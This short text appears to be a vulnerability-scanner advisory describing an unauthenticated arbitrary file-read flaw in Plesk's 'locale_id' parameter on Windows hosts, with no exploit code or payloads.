The remote host is running Plesk, a control panel used to administer and manage websites.
The version of Plesk installed on the remote host fails to sanitize user-supplied input to the ‘locale_id’ parameter of the ‘login.php3’, ‘login_up.php’, and ‘top.php3’ scripts before using it to access files. On a Windows platform, an unauthenticated attacker can leverage this issue to read the contents of arbitrary files on the remote host, subject to the privileges of the web server user id.
